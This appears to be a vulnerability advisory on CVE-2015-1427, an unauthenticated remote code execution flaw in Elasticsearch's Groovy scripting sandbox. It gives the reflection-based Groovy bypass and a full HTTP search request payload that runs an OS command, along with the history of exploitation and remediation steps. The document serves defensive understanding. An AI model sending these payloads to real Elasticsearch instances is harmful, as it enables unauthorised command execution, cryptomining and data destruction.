CVE-2015-1427

What Is Elasticsearch Groovy Scripting?

Elasticsearch is a distributed search and analytics engine widely used for log analysis, full-text search, and data aggregation. Versions 1.x included dynamic scripting capabilities — the ability to execute user-supplied scripts as part of search queries or aggregations. After the CVE-2014-3120 vulnerability (which allowed arbitrary OS commands via MVEL scripting), Elasticsearch 1.3.0 disabled MVEL scripting by default and replaced it with Groovy, implementing a sandbox to restrict what Groovy scripts could do.

The Groovy sandbox was intended to prevent scripts from accessing dangerous Java APIs. CVE-2015-1427 demonstrates that the sandbox was insufficient — Groovy's dynamic nature and Java reflection capabilities provided multiple paths to bypass sandbox restrictions and execute arbitrary OS commands.

Overview

CVE-2015-1427 is a sandbox bypass in Elasticsearch's Groovy scripting engine that allows remote attackers to execute arbitrary OS commands without authentication. The Groovy sandbox — introduced in Elasticsearch 1.3.0 as a replacement for the vulnerable MVEL engine — fails to prevent scripts from using Java reflection to access restricted runtime methods and execute shell commands. Fixed in Elasticsearch 1.3.8 and 1.4.3 (January 27, 2015). Elasticsearch instances without authentication enabled (the default) remain accessible to any network attacker.

Affected Versions

Technical Details

Root Cause: Groovy Sandbox Bypass via Java Reflection

Elasticsearch's Groovy sandbox attempted to block access to dangerous Java runtime methods by maintaining a whitelist or blacklist of allowed class/method combinations. However, Groovy's dynamic language features — specifically its reflection capabilities — allowed sandbox bypass:

An attacker could use Groovy's java.lang.Runtime or ProcessBuilder through reflection to bypass the static sandbox checks:

def runtime = Runtime.class.forName("java.lang.Runtime")
def getRuntime = runtime.getMethod("getRuntime")
def rt = getRuntime.invoke(null)
def exec = runtime.getMethod("exec", [String].class as Class[])
exec.invoke(rt, ["id"] as String[])

By using reflection to access Runtime.exec() rather than calling it directly, the Groovy script bypasses the sandbox's static analysis of the script's method calls.

Unauthenticated Access

By default, Elasticsearch 1.x had no authentication mechanism — any network-accessible instance accepted queries from any source. An attacker simply needs to reach the Elasticsearch HTTP port (default TCP 9200) to send a malicious search request containing the sandbox bypass script.

Attack Pattern

POST /_search HTTP/1.1
Content-Type: application/json

{
  "size": 1,
  "script_fields": {
    "exp": {
      "script": "java.lang.Runtime.class.forName('java.lang.Runtime').getMethod('exec', [String].class as Class[]).invoke(java.lang.Runtime.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id')"
    }
  }
}

Attack Characteristics

Discovery

Identified following the CVE-2014-3120 MVEL scripting vulnerability and Elastic's introduction of the Groovy sandbox as a replacement. Security researchers demonstrated that the Groovy sandbox could be escaped using Java reflection techniques. Elastic released patches in January 2015 and later disabled dynamic scripting by default.

Exploitation Context

• Internet-exposed Elasticsearch: Elasticsearch was frequently deployed with no authentication and internet-accessible HTTP ports, particularly in cloud environments where misconfigured instances were publicly exposed; shodan searches routinely found tens of thousands of internet-facing Elasticsearch instances
• Cryptominer and ransomware targeting: Both CVE-2014-3120 and CVE-2015-1427 were heavily exploited by cryptominer operators and ransomware actors targeting exposed Elasticsearch clusters — attackers either installed mining software or deleted indices and demanded ransom for data recovery
• Active exploit availability: Public proof-of-concept exploits for CVE-2015-1427 were published shortly after the vulnerability was documented, enabling mass automated exploitation
• Successor pattern: The repeated scripting RCE vulnerabilities (MVEL → Groovy sandbox bypass) led Elasticsearch to disable dynamic scripting by default in later versions, but many installations remained on vulnerable versions
• CISA KEV (2022): Added March 2022

Remediation

1. Upgrade to Elasticsearch 1.3.8 or 1.4.3 (or preferably a current supported version). Versions 1.5.0+ disabled dynamic scripting by default.

2. Disable dynamic scripting — in elasticsearch.yml, set script.disable_dynamic: true on vulnerable 1.x versions if immediate upgrade is not possible.

3. Enable authentication — use Elasticsearch security features (Shield plugin for 1.x / built-in security for 6.8+) to require authentication for all API access.

4. Restrict network access — Elasticsearch should never be directly exposed to the internet. Use firewall rules to restrict TCP 9200 and TCP 9300 to trusted application servers only.

5. Current versions — migrate to a current Elasticsearch version (8.x) with built-in security enabled by default. Elastic's security features are free in current versions.